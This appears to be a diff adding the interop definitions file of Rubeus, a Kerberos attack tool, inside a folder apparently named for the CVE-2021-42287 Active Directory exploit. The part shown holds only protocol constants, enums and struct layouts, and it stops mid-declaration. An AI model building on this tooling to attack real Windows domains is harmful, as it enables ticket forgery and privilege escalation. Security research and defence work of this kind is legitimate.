b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Interop.cs @@ -0,0 +1,1652 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using Rubeus.lib.Interop; + + +namespace Rubeus +{ + public class Interop + { + // constants + + // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61 + public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1; + public const int KRB_KEY_USAGE_AS_REP_TGS_REP = 2; + public const int KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3; + public const int KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA = 4; + public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7; + public const int KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8; + public const int KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11; + public const int KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + public const int KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14; + public const int KRB_KEY_USAGE_KRB_NON_KERB_SALT = 16; + public const int KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT = 17; + public const int KRB_KEY_USAGE_PA_S4U_X509_USER = 26; + + // Enums + + [Flags] + public enum TicketFlags : UInt32 + { + reserved = 2147483648, + forwardable = 0x40000000, + forwarded = 0x20000000, + proxiable = 0x10000000, + proxy = 0x08000000, + may_postdate = 0x04000000, + postdated = 0x02000000, + invalid = 0x01000000, + renewable = 0x00800000, + initial = 0x00400000, + pre_authent = 0x00200000, + hw_authent = 0x00100000, + ok_as_delegate = 0x00040000, + anonymous = 0x00020000, + name_canonicalize = 0x00010000, + //cname_in_pa_data = 0x00040000, + enc_pa_rep = 0x00010000, + reserved1 = 0x00000001, + empty = 0x00000000 + // TODO: constrained delegation? + } + + // TODO: order flipped? https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L167-L190 + // Correcting some of these from here, which packet captures suggest is correct: https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KdcOptions.cs + [Flags] + public enum KdcOptions : uint + { + VALIDATE = 0x00000001, + RENEW = 0x00000002, + UNUSED29 = 0x00000004, + ENCTKTINSKEY = 0x00000008, + RENEWABLEOK = 0x00000010, + DISABLETRANSITEDCHECK = 0x00000020, + UNUSED16 = 0x0000FFC0, + CONSTRAINED_DELEGATION = 0x00020000, + CANONICALIZE = 0x00010000, + CNAMEINADDLTKT = 0x00004000, + OK_AS_DELEGATE = 0x00040000, + REQUEST_ANONYMOUS = 0x00008000, + UNUSED12 = 0x00080000, + OPTHARDWAREAUTH = 0x00100000, + PREAUTHENT = 0x00200000, + INITIAL = 0x00400000, + RENEWABLE = 0x00800000, + UNUSED7 = 0x01000000, + POSTDATED = 0x02000000, + ALLOWPOSTDATE = 0x04000000, + PROXY = 0x08000000, + PROXIABLE = 0x10000000, + FORWARDED = 0x20000000, + FORWARDABLE = 0x40000000, + RESERVED = 0x80000000 + } + + // from https://tools.ietf.org/html/rfc4120#section-7.5.7 + public enum KERB_MESSAGE_TYPE : long + { + AS_REQ = 10, + AS_REP = 11, + TGS_REQ = 12, + TGS_REP = 13, + AP_REQ = 14, + AP_REP = 15, + TGT_REQ = 16, // KRB-TGT-REQUEST for U2U + TGT_REP = 17, // KRB-TGT-REPLY for U2U + SAFE = 20, + PRIV = 21, + CRED = 22, + ERROR = 30 + } + + // from https://tools.ietf.org/html/rfc3961 + public enum KERB_ETYPE : Int32 + { + des_cbc_crc = 1, + des_cbc_md4 = 2, + des_cbc_md5 = 3, + des3_cbc_md5 = 5, + des3_cbc_sha1 = 7, + dsaWithSHA1_CmsOID = 9, + md5WithRSAEncryption_CmsOID = 10, + sha1WithRSAEncryption_CmsOID = 11, + rc2CBC_EnvOID = 12, + rsaEncryption_EnvOID = 13, + rsaES_OAEP_ENV_OID = 14, + des_ede3_cbc_Env_OID = 15, + des3_cbc_sha1_kd = 16, + aes128_cts_hmac_sha1 = 17, + aes256_cts_hmac_sha1 = 18, + rc4_hmac = 23, + rc4_hmac_exp = 24, + subkey_keymaterial = 65, + old_exp = -135 + } + + [Flags] + public enum SUPPORTED_ETYPE : Int32 + { + RC4_HMAC_DEFAULT = 0x0, + DES_CBC_CRC = 0x1, + DES_CBC_MD5 = 0x2, + RC4_HMAC = 0x4, + AES128_CTS_HMAC_SHA1_96 = 0x08, + AES256_CTS_HMAC_SHA1_96 = 0x10 + } + + public enum KADMIN_PASSWD_ERR : UInt32 + { + KRB5_KPASSWD_SUCCESS = 0, + KRB5_KPASSWD_MALFORMED = 1, + KRB5_KPASSWD_HARDERROR = 2, + KRB5_KPASSWD_AUTHERROR = 3, + KRB5_KPASSWD_SOFTERROR = 4, + KRB5_KPASSWD_ACCESSDENIED = 5, + KRB5_KPASSWD_BAD_VERSION = 6, + KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7 + } + + public enum KERB_CHECKSUM_ALGORITHM + { + KERB_CHECKSUM_NONE = 0, + KERB_CHECKSUM_RSA_MD4 = 2, + KERB_CHECKSUM_RSA_MD5 = 7, + KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15, + KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16, + KERB_CHECKSUM_DES_MAC = -133, + KERB_CHECKSUM_HMAC_MD5 = -138, + } + + [StructLayout(LayoutKind.Sequential)] + public struct KERB_CHECKSUM + { + public int Type; + public int Size; + public int Flag; + public IntPtr Initialize; + public IntPtr Sum; + public IntPtr Finalize; + public IntPtr Finish; + public IntPtr InitializeEx; + public IntPtr unk0_null; + } + + // from https://tools.ietf.org/html/rfc4120#section-6.2 + public enum PRINCIPAL_TYPE : long + { + NT_UNKNOWN = 0, + NT_PRINCIPAL = 1, + NT_SRV_INST = 2, + NT_SRV_HST = 3, + NT_SRV_XHST = 4, + NT_UID = 5, + NT_X500_PRINCIPAL = 6, + NT_SMTP_NAME = 7, + NT_ENTERPRISE = 10 + } + + // from https://github.com/ps4dev/freebsd-include-mirror/blob/master/krb5_asn1.h + public enum PADATA_TYPE : UInt32 + { + NONE = 0, + TGS_REQ = 1, + AP_REQ = 1, + ENC_TIMESTAMP = 2, + PW_SALT = 3, + ENC_UNIX_TIME = 5, + SANDIA_SECUREID = 6, + SESAME = 7, + OSF_DCE = 8, + CYBERSAFE_SECUREID = 9, + AFS3_SALT = 10, + ETYPE_INFO = 11, + SAM_CHALLENGE = 12, + SAM_RESPONSE = 13, + PK_AS_REQ_19 = 14, + PK_AS_REP_19 = 15, + PK_AS_REQ_WIN = 15, + PK_AS_REQ = 16, + PK_AS_REP = 17, + PA_PK_OCSP_RESPONSE = 18, + ETYPE_INFO2 = 19, + USE_SPECIFIED_KVNO = 20, + SVR_REFERRAL_INFO = 20, + SAM_REDIRECT = 21, + GET_FROM_TYPED_DATA = 22, + SAM_ETYPE_INFO = 23, + SERVER_REFERRAL = 25, + TD_KRB_PRINCIPAL = 102, + PK_TD_TRUSTED_CERTIFIERS = 104, + PK_TD_CERTIFICATE_INDEX = 105, + TD_APP_DEFINED_ERROR = 106, + TD_REQ_NONCE = 107, + TD_REQ_SEQ = 108, + PA_PAC_REQUEST = 128, + S4U2SELF = 129, + PA_S4U_X509_USER = 130, + PA_PAC_OPTIONS = 167, + PK_AS_09_BINDING = 132, + CLIENT_CANONICALIZED = 133 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6 + public enum PA_S4U_X509_USER_OPTIONS : Int32 + { + CHECK_LOGON_RESTRICTIONS = 0x40000000, + SIGN_REPLY = 0x20000000 + } + + // adapted from https://github.com/skelsec/minikerberos/blob/master/minikerberos/kerberoserror.py#L18-L76 + public enum KERBEROS_ERROR : UInt32 + { + KDC_ERR_NONE = 0x0, //No error + KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired + KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired + KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported + KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key + KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key + KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database + KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database + KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database + KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key) + KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating + KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time + KDC_ERR_POLICY = 0xC, //Requested start time is later than end time + KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option + KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type + KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type + KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data) + KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type + KDC_ERR_CLIENT_REVOKED = 0x12, // Client’s credentials have been revoked + KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked + KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked + KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later + KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later + KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset + KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid + KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required + KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server + KDC_ERR_SVC_UNAVAILABLE = 0x1B, // KDC is unavailable + KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed + KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired + KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid + KRB_AP_ERR_REPEAT = 0x22, // The request is a replay + KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us + KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match + KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great + KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket + KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO) + KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported + KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match + KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering) + KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available + KRB_AP_ERR_NOKEY = 0x2D, // Service key not available + KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed + KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction + KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required + KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message + KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported) + KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable + KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data + KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field + KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation + KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented + KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified + KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid + KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed + KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required + KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available + KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal + KDC_ERR_CANT_VERIFY_CERTIFICATE = 0x46, + KDC_ERR_INVALID_CERTIFICATE = 0x47, + KDC_ERR_REVOKED_CERTIFICATE = 0x48, + KDC_ERR_REVOCATION_STATUS_UNKNOWN = 0x49, + KDC_ERR_CLIENT_NAME_MISMATCH = 0x4B, + KDC_ERR_INCONSISTENT_KEY_PURPOSE = 0x4D, + KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED = 0x4E, + KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED = 0x4F, + KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED = 0x50, + KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED = 0x51, + } + + [Flags] + public enum DSGETDCNAME_FLAGS : uint + { + DS_FORCE_REDISCOVERY = 0x00000001, + DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010, + DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020, + DS_GC_SERVER_REQUIRED = 0x00000040, + DS_PDC_REQUIRED = 0x00000080, + DS_BACKGROUND_ONLY = 0x00000100, + DS_IP_REQUIRED = 0x00000200, + DS_KDC_REQUIRED = 0x00000400, + DS_TIMESERV_REQUIRED = 0x00000800, + DS_WRITABLE_REQUIRED = 0x00001000, + DS_GOOD_TIMESERV_PREFERRED = 0x00002000, + DS_AVOID_SELF = 0x00004000, + DS_ONLY_LDAP_NEEDED = 0x00008000, + DS_IS_FLAT_NAME = 0x00010000, + DS_IS_DNS_NAME = 0x00020000, + DS_RETURN_DNS_NAME = 0x40000000, + DS_RETURN_FLAT_NAME = 0x80000000 + } + + public enum TOKEN_INFORMATION_CLASS + { + /// + /// The buffer receives a TOKEN_USER structure that contains the user account of the token. + /// + TokenUser = 1, + + /// + /// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token. + /// + TokenGroups, + + /// + /// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token. + /// + TokenPrivileges, + + /// + /// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects. + /// + TokenOwner, + + /// + /// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects. + /// + TokenPrimaryGroup, + + /// + /// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects. + /// + TokenDefaultDacl, + + /// + /// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information. + /// + TokenSource, + + /// + /// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token. + /// + TokenType, + + /// + /// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails. + /// + TokenImpersonationLevel, + + /// + /// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics. + /// + TokenStatistics, + + /// + /// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token. + /// + TokenRestrictedSids, + + /// + /// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token. + /// + TokenSessionId, + + /// + /// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token. + /// + TokenGroupsAndPrivileges, + + /// + /// Reserved. + /// + TokenSessionReference, + + /// + /// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag. + /// + TokenSandBoxInert, + + /// + /// Reserved. + /// + TokenAuditPolicy, + + /// + /// The buffer receives a TOKEN_ORIGIN value. + /// + TokenOrigin, + + /// + /// The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token. + /// + TokenElevationType, + + /// + /// The buffer receives a TOKEN_LINKED_TOKEN structure that contains a handle to another token that is linked to this token. + /// + TokenLinkedToken, + + /// + /// The buffer receives a TOKEN_ELEVATION structure that specifies whether the token is elevated. + /// + TokenElevation, + + /// + /// The buffer receives a DWORD value that is nonzero if the token has ever been filtered. + /// + TokenHasRestrictions, + + /// + /// The buffer receives a TOKEN_ACCESS_INFORMATION structure that specifies security information contained in the token. + /// + TokenAccessInformation, + + /// + /// The buffer receives a DWORD value that is nonzero if virtualization is allowed for the token. + /// + TokenVirtualizationAllowed, + + /// + /// The buffer receives a DWORD value that is nonzero if virtualization is enabled for the token. + /// + TokenVirtualizationEnabled, + + /// + /// The buffer receives a TOKEN_MANDATORY_LABEL structure that specifies the token's integrity level. + /// + TokenIntegrityLevel, + + /// + /// The buffer receives a DWORD value that is nonzero if the token has the UIAccess flag set. + /// + TokenUIAccess, + + /// + /// The buffer receives a TOKEN_MANDATORY_POLICY structure that specifies the token's mandatory integrity policy. + /// + TokenMandatoryPolicy, + + /// + /// The buffer receives the token's logon security identifier (SID). + /// + TokenLogonSid, + + /// + /// The maximum value for this enumeration + /// + MaxTokenInfoClass + } + + [Flags] + public enum KERB_CACHE_OPTIONS : UInt64 + { + KERB_RETRIEVE_TICKET_DEFAULT = 0x0, + KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1, + KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2, + KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4, + KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8, + KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10, + KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20, + KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40, + } + + public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32 + { + KerbDebugRequestMessage = 0, + KerbQueryTicketCacheMessage = 1, + KerbChangeMachinePasswordMessage = 2, + KerbVerifyPacMessage = 3, + KerbRetrieveTicketMessage = 4, + KerbUpdateAddressesMessage = 5, + KerbPurgeTicketCacheMessage = 6, + KerbChangePasswordMessage = 7, + KerbRetrieveEncodedTicketMessage = 8, + KerbDecryptDataMessage = 9, + KerbAddBindingCacheEntryMessage = 10, + KerbSetPasswordMessage = 11, + KerbSetPasswordExMessage = 12, + KerbVerifyCredentialsMessage = 13, + KerbQueryTicketCacheExMessage = 14, + KerbPurgeTicketCacheExMessage = 15, + KerbRefreshSmartcardCredentialsMessage = 16, + KerbAddExtraCredentialsMessage = 17, + KerbQuerySupplementalCredentialsMessage = 18, + KerbTransferCredentialsMessage = 19, + KerbQueryTicketCacheEx2Message = 20, + KerbSubmitTicketMessage = 21, + KerbAddExtraCredentialsExMessage = 22, + KerbQueryKdcProxyCacheMessage = 23, + KerbPurgeKdcProxyCacheMessage = 24, + KerbQueryTicketCacheEx3Message = 25, + KerbCleanupMachinePkinitCredsMessage = 26, + KerbAddBindingCacheEntryExMessage = 27, + KerbQueryBindingCacheMessage = 28, + KerbPurgeBindingCacheMessage = 29, + KerbQueryDomainExtendedPoliciesMessage = 30, + KerbQueryS4U2ProxyCacheMessage = 31 + } + + public enum LogonType : uint + { + Interactive = 2, // logging on interactively. + Network, // logging using a network. + Batch, // logon for a batch process. + Service, // logon for a service account. + Proxy, // Not supported. + Unlock, // Tattempt to unlock a workstation. + NetworkCleartext, // network logon with cleartext credentials + NewCredentials, // caller can clone its current token and specify new credentials for outbound connections + RemoteInteractive, // terminal server session that is both remote and interactive + CachedInteractive, // attempt to use the cached credentials without going out across the network + CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes + CachedUnlock // attempt to unlock a workstation + } + + public enum LOGON_PROVIDER + { + LOGON32_PROVIDER_DEFAULT, + LOGON32_PROVIDER_WINNT35, + LOGON32_PROVIDER_WINNT40, + LOGON32_PROVIDER_WINNT50 + } + + // from https://github.com/alexbrainman/sspi/blob/master/syscall.go#L113-L129 + [Flags] + public enum ISC_REQ : int + { + DELEGATE = 1, + MUTUAL_AUTH = 2, + REPLAY_DETECT = 4, + SEQUENCE_DETECT = 8, + CONFIDENTIALITY = 16, + USE_SESSION_KEY = 32, + PROMPT_FOR_CREDS = 64, + USE_SUPPLIED_CREDS = 128, + ALLOCATE_MEMORY = 256, + USE_DCE_STYLE = 512, + DATAGRAM = 1024, + CONNECTION = 2048, + EXTENDED_ERROR = 16384, + STREAM = 32768, + INTEGRITY = 65536, + MANUAL_CRED_VALIDATION = 524288, + HTTP = 268435456 + } + + public enum SecBufferType + { + SECBUFFER_VERSION = 0, + SECBUFFER_EMPTY = 0, + SECBUFFER_DATA = 1, + SECBUFFER_TOKEN = 2 + } + + // from https://directory.apache.org/apacheds/gen-docs/2.0.0-M15/apidocs/src-html/org/apache/directory/shared/kerberos/codec/types/HostAddrType.html + public enum HostAddressType : long + { + NULL = 0, + ADDRTYPE_UNIX = 1, + ADDRTYPE_INET = 2, + ADDRTYPE_IMPLINK = 3, + ADDRTYPE_PUP = 4, + ADDRTYPE_CHAOS = 5, + ADDRTYPE_XNS = 6, + ADDRTYPE_IPX = 6, + ADDRTYPE_OSI = 7, + ADDRTYPE_ECMA = 8, + ADDRTYPE_DATAKIT = 9, + ADDRTYPE_CCITT = 10, + ADDRTYPE_SNA = 11, + ADDRTYPE_DECNET = 12, + ADDRTYPE_DLI = 13, + ADDRTYPE_LAT = 14, + ADDRTYPE_HYLINK = 15, + ADDRTYPE_APPLETALK = 16, + ADDRTYPE_VOICEVIEW = 18, + ADDRTYPE_FIREFOX = 19, + ADDRTYPE_NETBIOS = 20, + ADDRTYPE_BAN = 21, + ADDRTYPE_ATM = 22, + ADDRTYPE_INET6 = 24 + } + + // from https://tools.ietf.org/html/rfc4120#section-5.2.6 + // and https://github.com/apache/directory-kerby/blob/trunk/kerby-kerb/kerb-core/src/main/java/org/apache/kerby/kerberos/kerb/type/ad/AuthorizationType.java + public enum AuthorizationDataType : long + { + AD_IF_RELEVANT = 1, + AD_INTENDED_FOR_SERVER = 2, + AD_INTENDED_FOR_APPLICATION_CLASS = 3, + AD_KDCISSUED = 4, + AD_AND_OR = 5, + AD_MANDATORY_TICKET_EXTENSIONS = 6, + AD_IN_TICKET_EXTENSIONS = 7, + AD_MANDATORY_FOR_KDC = 8, + AD_INITIAL_VERIFIED_CAS = 9, + OSF_DCE = 64, + SESAME = 65, + AD_OSF_DCE_PKI_CERTID = 66, + AD_CAMMAC = 96, + AD_AUTHENTICATION_INDICATOR = 97, + AD_WIN2K_PAC = 128, + AD_ETYPE_NEGOTIATION = 129, + KERB_AUTH_DATA_TOKEN_RESTRICTIONS = 141, + KERB_LOCAL = 142, + AD_AUTH_DATA_AP_OPTIONS = 143, + AD_TOKEN = 256 + + } + + public enum TransitedEncodingType : long + { + NULL = 0, + DOMAIN_X500_COMPRESS = 1 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/ec551137-c5e5-476a-9c89-e0029473c41b + public enum LSAP_TOKEN_INFO_INTEGRITY_FLAGS : UInt32 + { + FULL = 0, + UAC_RESTRICTED = 1 + } + + public enum LSAP_TOKEN_INFO_INTEGRITY_TOKENIL : UInt32 + { + UNTRUSTED = 0, + LOW = 4096, + MEDIUM = 8192, + HIGH = 12288, + SYSTEM = 16384, + PROTECTED = 20480 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/4df07fab-1bbc-452f-8e92-7853a3c7e380 section 2.2.1.12 + [Flags] + public enum PacUserAccountControl : Int32 + { + EMPTY = 0, + ACCOUNTDISABLE = 1, + HOMEDIR_REQUIRED = 2, + PASSWD_NOTREQD = 4, + TEMP_DUPLICATE_ACCOUNT = 8, + NORMAL_ACCOUNT = 16, + MNS_LOGON_ACCOUNT = 32, + INTERDOMAIN_TRUST_ACCOUNT = 64, + WORKSTATION_TRUST_ACCOUNT = 128, + SERVER_TRUST_ACCOUNT = 256, + DONT_EXPIRE_PASSWORD = 512, + ACCOUNT_AUTO_LOCKED = 1024, + ENCRYPTED_TEXT_PASSWORD_ALLOWED = 2048, + SMARTCARD_REQUIRED = 4096, + TRUSTED_FOR_DELEGATION = 8192, + NOT_DELEGATED = 16384, + USE_DES_KEY_ONLY = 32768, + DONT_REQ_PREAUTH = 65536, + PASSWORD_EXPIRED = 131072, + TRUSTED_TO_AUTH_FOR_DELEGATION = 262144, + NO_AUTH_DATA_REQUIRED = 524288, + PARTIAL_SECRETS_ACCOUNT = 1048576, + USE_AES_KEYS = 2097152 + } + + // from https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73 + [Flags] + public enum PacUserFlags : Int32 + { + EXTRA_SIDS = 32, + RESOURCE_GROUPS = 512 + } + + // from https://download.samba.org/pub/samba/patches/security/samba-4.15.1-security-2021-11-09.patch + [Flags] + public enum PacAttribute : Int32 + { + PAC_NOT_REQUESTED = 0x00000000, + PAC_WAS_REQUESTED = 0x00000001, + PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 + } + + [Flags] + public enum LDAPUserAccountControl : Int32 + { + SCRIPT = 1, + ACCOUNTDISABLE = 2, + HOMEDIR_REQUIRED = 8, + LOCKOUT = 16, + PASSWD_NOTREQD = 32, + PASSWD_CANT_CHANGE = 64, + ENCRYPTED_TEXT_PWD_ALLOWED = 128, + TEMP_DUPLICATE_ACCOUNT = 256, + NORMAL_ACCOUNT = 512, + INTERDOMAIN_TRUST_ACCOUNT = 2048, + WORKSTATION_TRUST_ACCOUNT = 4096, + SERVER_TRUST_ACCOUNT = 8192, + DONT_EXPIRE_PASSWORD = 65536, + MNS_LOGON_ACCOUNT = 131072, + SMARTCARD_REQUIRED = 262144, + TRUSTED_FOR_DELEGATION = 524288, + NOT_DELEGATED = 1048576, + USE_DES_KEY_ONLY = 2097152, + DONT_REQ_PREAUTH = 4194304, + PASSWORD_EXPIRED = 8388608, + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216, + NO_AUTH_DATA_REQUIRED = 33554432, + PARTIAL_SECRETS_ACCOUNT = 67108864 + } + + // taken from https://github.com/tevora-threat/SharpView + public enum ResourceScope : int + { + Connected = 1, + GlobalNetwork, + Remembered, + Recent, + Context + }; + + public enum ResourceType : int + { + Any = 0, + Disk = 1, + Print = 2, + Reserved = 8, + } + + public enum ResourceDisplaytype : int + { + Generic = 0x0, + Domain = 0x01, + Server = 0x02, + Share = 0x03, + File = 0x04, + Group = 0x05, + Network = 0x06, + Root = 0x07, + Shareadmin = 0x08, + Directory = 0x09, + Tree = 0x0a, + Ndscontainer = 0x0b + } + + // from https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes + public enum SystemErrorCodes : int + { + ERROR_SUCCESS = 0, + ERROR_ACCESS_DENIED = 5, + ERROR_ALREADY_ASSIGNED = 85, + ERROR_BAD_DEV_TYPE = 66, + ERROR_BAD_DEVICE_PATH = 330, + ERROR_BAD_DEVICE = 1200, + ERROR_BAD_NETPATH = 53, + ERROR_BAD_NET_NAME = 67, + ERROR_BAD_PROFILE = 1206, + ERROR_BAD_PROVIDER = 1204, + ERROR_BAD_USERNAME = 2202, + ERROR_BUSY_DRIVE = 142, + ERROR_BUSY = 170, + ERROR_CANCELLED = 1223, + ERROR_CANNOT_OPEN_PROFILE = 1205, + ERROR_DEVICE_ALREADY_REMEMBERED = 1202, + ERROR_EXTENDED_ERROR = 1208, + ERROR_INVALID_ADDRESS = 487, + ERROR_INVALID_PARAMETER = 87, + ERROR_INVALID_PASSWORD = 86, + ERROR_INVALID_PASSWORDNAME = 1216, + ERROR_LOGON_FAILURE = 1326, + ERROR_NO_NET_OR_BAD_PATH = 1203, + ERROR_NO_NETWORK = 1222, + } + + + + // structs + + // // typedef struct _LSAP_TOKEN_INFO_INTEGRITY { + // unsigned long Flags; + // unsigned long TokenIL; + // unsigned char MachineID[32]; # KILE implements a 32-byte binary random string machine ID + // } + // LSAP_TOKEN_INFO_INTEGRITY, + // *PLSAP_TOKEN_INFO_INTEGRITY; + public struct LSAP_TOKEN_INFO_INTEGRITY + { + public LSAP_TOKEN_INFO_INTEGRITY_FLAGS Flags; + public LSAP_TOKEN_INFO_INTEGRITY_TOKENIL TokenIL; + public byte[] machineID; + } + + // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 + [StructLayout(LayoutKind.Sequential)] + public struct KERB_ECRYPT + { + int Type0; + public int BlockSize; + int Type1; + public int KeySize; + public int Size; + int unk2; + int unk3; + public IntPtr AlgName; + public IntPtr Initialize; + public IntPtr Encrypt; + public IntPtr Decrypt; + public IntPtr Finish; + public IntPtr HashPassword; + IntPtr RandomKey; + IntPtr Control; + IntPtr unk0_null; + IntPtr unk1_null; + IntPtr unk2_null; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DOMAIN_CONTROLLER_INFO + { + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainControllerName; + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainControllerAddress; + public uint DomainControllerAddressType; + public Guid DomainGuid; + [MarshalAs(UnmanagedType.LPTStr)] + public string DomainName; + [MarshalAs(UnmanagedType.LPTStr)] + public string DnsForestName; + public uint Flags; + [MarshalAs(UnmanagedType.LPTStr)] + public string DcSiteName; + [MarshalAs(UnmanagedType.LPTStr)] + public string ClientSiteName; + } + + public struct SYSTEMTIME + { + public ushort wYear, wMonth, wDayOfWeek, wDay, + wHour, wMinute, wSecond, wMilliseconds; + } + + + // LSA structures + + [StructLayout(LayoutKind.Sequential)] + public struct 